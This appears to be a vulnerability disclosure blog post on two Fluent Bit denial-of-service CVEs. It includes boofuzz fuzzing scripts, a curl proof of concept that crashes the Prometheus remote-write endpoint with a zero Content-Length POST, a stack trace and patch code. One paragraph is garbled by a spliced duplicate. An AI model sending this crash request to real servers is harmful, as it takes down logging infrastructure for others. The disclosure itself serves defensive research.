At Ebryx, we specialize in identifying zero-day vulnerabilities in widely-used open source software. We recently uncovered two critical vulnerabilities, CVE-2024-50608 and CVE-2024-50609, both scoring 8.9 on the CVSS scale. These vulnerabilities, caused by a null pointer dereference (CWE-476), pose a denial of service (DoS) risk and impact the Prometheus Remote Write input plugin and Open Telemetry Plugin.
We chose Fluent Bit based on its GitHub stars and forks, which serve as indicators of the product's usability and widespread adoption. Another key factor in our selection was its focus on enterprise environments. According to Fluent Bit's own assessment, it is a widely used solution with over 15 billion downloads as of 2025 and is deployed over 10 million times daily. This demonstrates its significant role in production environments. Below, we highlight some organizations that depend on Fluent Bit, emphasizing the critical impact of the vulnerabilities we've discovered, which could affect a vast number of production systems.
An attacker can send a packet with Content-Length: 0 , causing the server to crash. The improper handling of the Content-Length value being zero allows any user with access to the endpoint to execute a remote denial of service attack. The crash happens due to a NULL pointer dereference when 0 (from the Content-Length ) is passed to the function cfl_sds_len , which attempts to cast a NULL pointer into a struct cfl_sds . Before diving into the specifics of the vulnerabilities, let's first explore the internal workings of the target systems and the approach we took during our assessment.
Fluent Bit is a fast log processor and forwarder that supports various operating systems, including Linux, Windows, Embedded Linux, macOS, and the BSD family. It belongs to the Graduated Fluentd Ecosystem and is recognized as a sub-project of the CNCF.
It enables users to collect log events and metrics from multiple sources, process them, and deliver them to various backends such as Fluentd, Elasticsearch, Splunk, Data Dog, Kafka, New Relic, Azure, AWS, Google services, NATS, InfluxDB, or any custom HTTP endpoint.
Additionally, Fluent Bit features comprehensive SQL stream processing capabilities, allowing for data manipulation and analytics through SQL queries.
Fluent Bit's data pipeline comprises six distinct layers: Input, Parser, Filter, Buffer, Router, and Output.
This layer serves as the means to gather data from various sources. Fluent Bit offers a range of input plugins tailored to different needs. Some plugins collect data from log files, while others gather metrics from the operating system.
The parser's role is to convert unstructured messages into structured ones, addressing the challenges of dealing with raw strings. For instance, an Apache log entry like:
192.168.2.20 - - [28/Jul/2006:10:27:10 -0300] "GET /cgi-bin/try/ HTTP/1.0" 200 3395
could be transformed into a structured format:
{
"host": "192.168.2.20",
"user": "-",
"method": "GET",
"path": "/cgi-bin/try/",
"code": "200",
"size": "3395",
"referer": "", "agent": ""
}
This structured data is much easier to process.
In production environments, controlling the data collection is crucial. The filter layer allows users to modify data before it reaches its destination. Various plugins enable filtering to match, exclude, or enrich logs with specific metadata.
The buffer phase aims to provide a unified, persistent mechanism for data storage, utilizing either an in-memory model or a file-system based approach. At this stage, the data is stored in an immutable state, meaning no further filtering can be applied.
The router is a crucial feature that facilitates the routing of data through filters and ultimately to one or multiple destinations. It operates on the concepts of Tags and Matching rules.
For example, the following configuration aims to send CPU metrics to an Elasticsearch database and Memory metrics to the standard output:
[INPUT]
Name cpu
Tag my_cpu
[INPUT]
Name mem
Tag my_mem
[OUTPUT]
Name es
Match my_cpu
[OUTPUT]
Name stdout
Match my_mem
In this simple example, routing works automatically by reading the Input Tags and Output Match rules. If any data has a Tag that does not match during routing, it is discarded.
The output layer defines the destinations for the processed data, which can include databases, cloud services, and more. It allows users to specify where the data should be sent, whether to remote services, the local file system, or other interfaces. Outputs are implemented as plugins, and many options are available to suit various needs.
The tests/internal/fuzzers directory contained nearly 30 harnesses, which were fuzzed to uncover potential code pathways. This approach provided valuable insight into which functions were being targeted, enabling us to identify gaps not covered by the harnesses. By focusing on these areas, we were able to optimize resource usage and prioritize additional testing or improvements where needed.
Our research indicates that most vulnerabilities stem from operations like parsing, converting, interpreting, decompressing, deserializing, and decoding data. If not securely handled, these processes can introduce significant security risks. Therefore, our primary focus during the assessment was identifying all components responsible for parsing data in any form. By targeting these areas, we aimed to uncover flaws that could be exploited when handling various data formats, including logs, configuration files, and network inputs. This approach helped us pinpoint the most critical components vulnerable to attack.
Fluent Bit’s documentation provided a comprehensive list of input types, including:
1. JSON format
2. Prometheus remote-write format
3. Elasticsearch
4. Exec Wasi
5. OpenTelemetry
6. Forward
7. HTTP
8. Kafka
9. ...and more.
While some components, like CPU and Disk I/O metrics and kernel logs, accepted input from files (e.g., Config Files Attack Surface),we chose not to focus on them due to their limited real-world impact. However, our research did uncover a significant issue: a bug that could cause a denial of service (DoS) on systems with a higher number of CPU cores. This bug arises from improper handling of configurations when the system is dealing with more processors than expected, leading to crashes and disruptions in functionality under certain conditions.
Ultimately, we found that identifying and exploiting bugs triggered remotely by connecting to a Fluent Bit server would have the most significant impact. After reviewing the list of input types, we narrowed our focus to fuzzing the JSON, Open Telemetry, and Prometheus Remote Write component .
The HTTP input plugin allowed custom records to be sent to a designated HTTP endpoint. By opening an HTTP port, Fluent Bit enabled dynamic routing of incoming data. This plugin supported dynamic tags, allowing different tags to be sent through the same input.
To set up the HTTP input plugin, you would configure it as follows:
[INPUT]
name http
listen 0.0.0.0
port 8888
[OUTPUT]
name stdout
match app.log
To send a request to this endpoint, the following command could be used:
curl -d '{"key1":"value1","key2":"value2"}' -XPOST -H "content-type: application/json" http://localhost:8888/app.log
With the setup complete, it's time to start fuzzing the specific components.
To perform the fuzzing, we utilized boofuzz . The strategy involved keeping the HTTP header static while mutating the JSON body. Below is the code we used for this purpose:
#!/usr/bin/python3
from boofuzz import *
import random
# Callback function to print each test case
def on_fuzz_case(target, fuzz_data_logger, session, *args, **kwargs):
print(f"Test case #{session.num_mutations()}:")
print(session.last_recv)
def main():
# Initialize session with target connection
session = Session(
target=Target(connection=TCPSocketConnection("localhost", 7777))
)
# Attach the event handler to print each test case
session.post_test_case_callbacks = on_fuzz_case
# Define the HTTP request
s_initialize("HTTP POST")
# HTTP Request Line: Method, URI, and Version
if s_block_start("Request-Line"):
s_group("Method", ["POST"])
s_delim(" ", fuzzable=False, name="space-1")
s_static("/app.log", name="Request-URI")
s_delim(" ", fuzzable=False, name="space-2")
s_static("HTTP/1.1", name="HTTP-Version")
s_static("\r\n")
s_block_end("Request-Line")
# HTTP Headers: Host, Content-Type, and Content-Length
if s_block_start("Headers"):
s_static("Host:", name="Host-Header")
s_delim(" ", fuzzable=False, name="space-3")
s_static("localhost:7777", name="Host")
s_static("\r\n")
s_static("Content-Type:", name="Content-Type-Header")
s_delim(" ", fuzzable=False, name="space-4")
s_static("application/json", name="Content-Type")
s_static("\r\n")
s_static("Content-Length:", name="Content-Length-Header")
s_delim(" ", fuzzable=False, name="space-5")
s_size("Body", output_format="ascii", name="Content-Length")
s_static("\r\n")
s_static("\r\n")
s_block_end("Headers")
# HTTP Body (JSON data) to be fuzzed
if s_block_start("Body"):
# Randomly choose between a valid or invalid opening for JSON
if random.choice([True, False]):
s_static('{"') # Valid opening
else:
s_static('["') # Invalid opening
# Fuzzable key-value pairs in the JSON body
s_string("Name", name="key1") # Fuzzable key1
if random.choice([True, False]):
s_static('": "') # Valid JSON syntax
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Faran", name="key1_value") # Fuzzable value1
if random.choice([True, False]):
s_static('", "') # Valid separator
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Name_last", name="key2") # Fuzzable key2
if random.choice([True, False]):
s_static('": "') # Valid JSON syntax
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Abdullah", name="key2_value") # Fuzzable value2
# Randomly choose between valid or invalid closing for JSON
if random.choice([True, False]):
s_static('"}') # Valid ending
else:
s_static('"]') # Invalid ending
s_block_end("Body")
# Start fuzzing session
session.connect(s_get("HTTP POST"))
session.fuzz()
if __name__ == "__main__":
main()
Next, we focused on the Prometheus remote-write input plugin, which enables Fluent Bit to ingest payloads in the Prometheus remote write format. This plugin allows Fluent Bit to receive data directly from a remote write sender, commonly used for monitoring and metric collection in Prometheus-based systems. The configuration for this plugin is as follows:
[INPUT]
name prometheus_remote_write
listen 127.0.0.1
port 8080
uri /api/prom/push
[OUTPUT]
name stdout
match *
This setup enabled testing the ingestion of data formatted according to Prometheus standards. We used this boofuzz script to fuzz this functionality.
from boofuzz import *
import random
def main():
# Initialize the session with the target connection
session = Session(
target=Target(connection=TCPSocketConnection("localhost", 4318))
)
# Initialize the HTTP POST request
s_initialize("HTTP POST")
# Define the Request-Line block
if s_block_start("Request-Line"):
s_group("Method", ["POST"]) # HTTP Method
s_delim(" ", fuzzable=False, name="space-1") # Space delimiter
s_static("/v1/traces", name="Request-URI") # Request URI
s_delim(" ", fuzzable=False, name="space-2") # Space delimiter
s_static("HTTP/1.1", name="HTTP-Version") # HTTP Version
s_static("\r\n") # Newline to end the Request-Line
s_block_end("Request-Line")
# Define the Headers block
if s_block_start("Headers"):
s_static("Host:", name="Host-Header") # Host header
s_delim(" ", fuzzable=False, name="space-3") # Space delimiter
s_static("localhost:4318", name="Host") # Host value
s_static("\r\n") # Newline after Host header
s_static("Content-Type:", name="Content-Type-Header") # Content-Type header
s_delim(" ", fuzzable=False, name="space-4") # Space delimiter
s_static("application/x-protobuf", name="Content-Type") # Content-Type value
s_static("\r\n") # Newline after Content-Type header
s_static("User-Agent:", name="User-Agent-Header") # User-Agent header
s_delim(" ", fuzzable=False, name="space-6") # Space delimiter
s_static("Faran", name="User-Agent") # User-Agent value
s_static("\r\n") # Newline after User-Agent header
s_static("Content-Length:", name="Content-Length-Header") # Content-Length header
s_delim(" ", fuzzable=False, name="space-8") # Space delimiter
s_size("Body", output_format="ascii", name="Content-Length") # Content-Length based on body size
s_static("\r\n") # Newline after Content-Length header
s_static("\r\n") # Double newline to end the Headers block
s_block_end("Headers")
# Define the Body block (JSON format)
if s_block_start("Body"):
if random.choice([True, False]):
s_static('{"') # Valid opening (JSON object)
else:
s_static('["') # Invalid opening (JSON array)
# Fuzzable key-value pair: "Name"
s_string("Name", name="key1")
if random.choice([True, False]):
s_static('": "') # Valid JSON syntax
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000) # Invalid syntax
s_string("Faran", name="key1_value") # Fuzzable value for key1
if random.choice([True, False]):
s_static('", "') # Valid separator between key-value pairs
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000) # Invalid separator
# Fuzzable key-value pair: "Name_last"
s_string("Name_last", name="key2")
if random.choice([True, False]):
s_static('": "') # Valid JSON syntax
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000) # Invalid syntax
s_string("Abdullah", name="key2_value") # Fuzzable value for key2
if random.choice([True, False]):
s_static('"}') # Valid ending (JSON object)
else:
s_static('"]') # Invalid ending (JSON array)
s_block_end("Body")
# Connect to the session and start fuzzing
session.connect(s_get("HTTP POST"))
session.fuzz()
# Run the main function
if __name__ == "__main__":
main()
Next, we shifted our focus to the OpenTelemetry input plugin, which enables Fluent Bit to receive data according to the OTLP(OpenTelemetry Protocol) specification. This plugin supports data ingestion from various exporters, the OpenTelemetry Collector, or even its own OpenTelemetry output plugin. It fully supports both OTLP/HTTP and OTLP/gRPC protocols, with the default port 4318handling both transport methods. The configuration used is as follows:
[INPUT]
name opentelemetry
listen 127.0.0.1
port 4318
[OUTPUT]
name stdout
match *
We used boofuzz to fuzz this functionality.
from boofuzz import *
import random
def main():
session = Session(
target=Target(connection=TCPSocketConnection("localhost", 4318))
)
s_initialize("HTTP POST")
# Request-Line
if s_block_start("Request-Line"):
s_group("Method", ["POST"])
s_delim(" ", fuzzable=False, name="space-1")
s_static("/v1/traces", name="Request-URI")
s_delim(" ", fuzzable=False, name="space-2")
s_static("HTTP/1.1", name="HTTP-Version")
s_static("\r\n")
s_block_end("Request-Line")
# Headers
if s_block_start("Headers"):
s_static("Host:", name="Host-Header")
s_delim(" ", fuzzable=False, name="space-3")
s_static("localhost:4318", name="Host")
s_static("\r\n")
s_static("Content-Type:", name="Content-Type-Header")
s_delim(" ", fuzzable=False, name="space-4")
s_static("application/x-protobuf", name="Content-Type")
s_static("\r\n")
s_static("User-Agent:", name="User-Agent-Header")
s_delim(" ", fuzzable=False, name="space-6")
s_static("Faran", name="User-Agent")
s_static("\r\n")
s_static("Content-Length:", name="Content-Length-Header")
s_delim(" ", fuzzable=False, name="space-8")
s_size("Body", output_format="ascii", name="Content-Length")
s_static("\r\n")
s_static("\r\n")
s_block_end("Headers")
# Body
if s_block_start("Body"):
if random.choice([True, False]):
s_static('{"') # Valid opening
else:
s_static('["')
s_string("Name", name="key1") # Fuzzable key1
if random.choice([True, False]):
s_static('": "') # Valid opening
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Faran", name="key1_value") # Fuzzable value1
if random.choice([True, False]):
s_static('", "') # Valid opening
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Name_last", name="key2") # Fuzzable key2
if random.choice([True, False]):
s_static('": "') # Valid opening
else:
s_random('random', max_length=0x1000, num_mutations=0x1000000)
s_string("Abdullah", name="key2_value") # Fuzzable value2
if random.choice([True, False]):
s_static('"}') # Valid ending
else:
s_static('"]')
s_block_end("Body")
session.connect(s_get("HTTP POST"))
session.fuzz()
if __name__ == "__main__":
main()
Despite fuzzing the JSON input for two days, we did not encounter any crashes. The JSON parsing functionality in Fluent Bit appeared to handle variations without issue.
Fuzzing the OpenTelemetry plugin led to crashes on all endpoints: /v1/traces , /v1/logs , and /v1/metrics . The crash was traced to a NULL pointer dereference , caused by improper handling of the Content-length: 0 header in the HTTP POST Request .
Fuzzing the OpenTelemetry plugin led to crashes on all endpoints: /v1/traces , /v1/logs , and /v1/metrics . The crash was traced to a NULL pointer derefere Fuzzing the Prometheus Remote Write plugin also resulted in a crash. The crash was similarly caused by a NULL pointer dereference , due to improper handling of the Content-length: 0 header in the HTTP POST Request .nce , caused by improper handling of the Content-length: 0 header in the HTTP POST Request .
The process to create a Proof of Concept (POC) to trigger the crash involved isolating the specific input causing the issue. Since Boofuzz didn't directly monitor the server's connection status, it generated excessive input, before realizing the crash. To improve precision, we used Wireshark to monitor server activity.
#!/bin/bash
curl --path-as-is -i -s -k -X POST \
-H "Host: localhost:8080" \
-H "Content-Length: 0" \
--data-binary 'message "RkFSQU46TUVHQUNIQVIweDAx"' \
http://127.0.0.1:9090/api/prom/push
0 0x555555eb4a16 cfl_sds_len+12
1 0x5555559afdcd process_payload_metrics_ng+59
2 0x5555559affe8 prom_rw_prot_handle_ng+247
3 0x555555daa6d3 flb_http_server_client_activity_event_handler+365
4 0x5555556b9a4e flb_engine_start+4307
5 0x555555651b43 flb_lib_worker+75
6 0x7ffff748f6ba start_thread+746
7 0x7ffff751e120 clone3+48
else if (i == MK_HEADER_CONTENT_LENGTH) {
errno = 0;
val = strtol(header -> val.data, & endptr, 10);
if ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0)) {
return -MK_CLIENT_REQUEST_ENTITY_TOO_LARGE;
}
if (endptr == header -> val.data) {
return -1;
}
if (val < 0) {
return -1;
}
p -> header_content_length = val;
}
else if (i == MK_HEADER_CONTENT_LENGTH) {
errno = 0;
val = strtol(header -> val.data, & endptr, 10);
if ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0)) {
return -MK_CLIENT_REQUEST_ENTITY_TOO_LARGE;
}
if (endptr == header -> val.data) {
return -1;
}
if (val <= 0) {
return -1;
}
p -> header_content_length = val;
}
int ne_utils_file_read_uint64(const char * mount,
const char * path,
const char * join_a,
const char * join_b, uint64_t * out_val) {
int fd;
int len;
int ret;
flb_sds_t p;
uint64_t val;
ssize_t bytes;
char tmp[32];
if (strncasecmp(path, mount, strlen(mount)) == 0 && path[strlen(mount)] == '/') {
mount = "";
}
p = flb_sds_create(mount);
if (!p) return -1;
len = strlen(path);
if (flb_sds_cat_safe( & p, path, len) < 0) {
flb_sds_destroy(p);
return -1;
}
if (join_a) {
if (flb_sds_cat_safe( & p, "/", 1) < 0) {
flb_sds_destroy(p);
return -1;
}
len = strlen(join_a);
if (flb_sds_cat_safe( & p, join_a, len) < 0) {
flb_sds_destroy(p);
return -1;
}
}
if (join_b) {
if (flb_sds_cat_safe( & p, "/", 1) < 0) {
flb_sds_destroy(p);
return -1;
}
len = strlen(join_b);
if (flb_sds_cat_safe( & p, join_b, len) < 0) {
flb_sds_destroy(p);
return -1;
}
}
fd = open(p, O_RDONLY);
if (fd == -1) {
flb_sds_destroy(p);
return -1;
}
flb_sds_destroy(p);
bytes = read(fd, & tmp, sizeof(tmp));
if (bytes == -1) {
flb_errno();
close(fd);
return -1;
}
close(fd);
ret = ne_utils_str_to_uint64(tmp, & val);
if (ret == -1) {
return -1;
}* out_val = val;
return 0;
}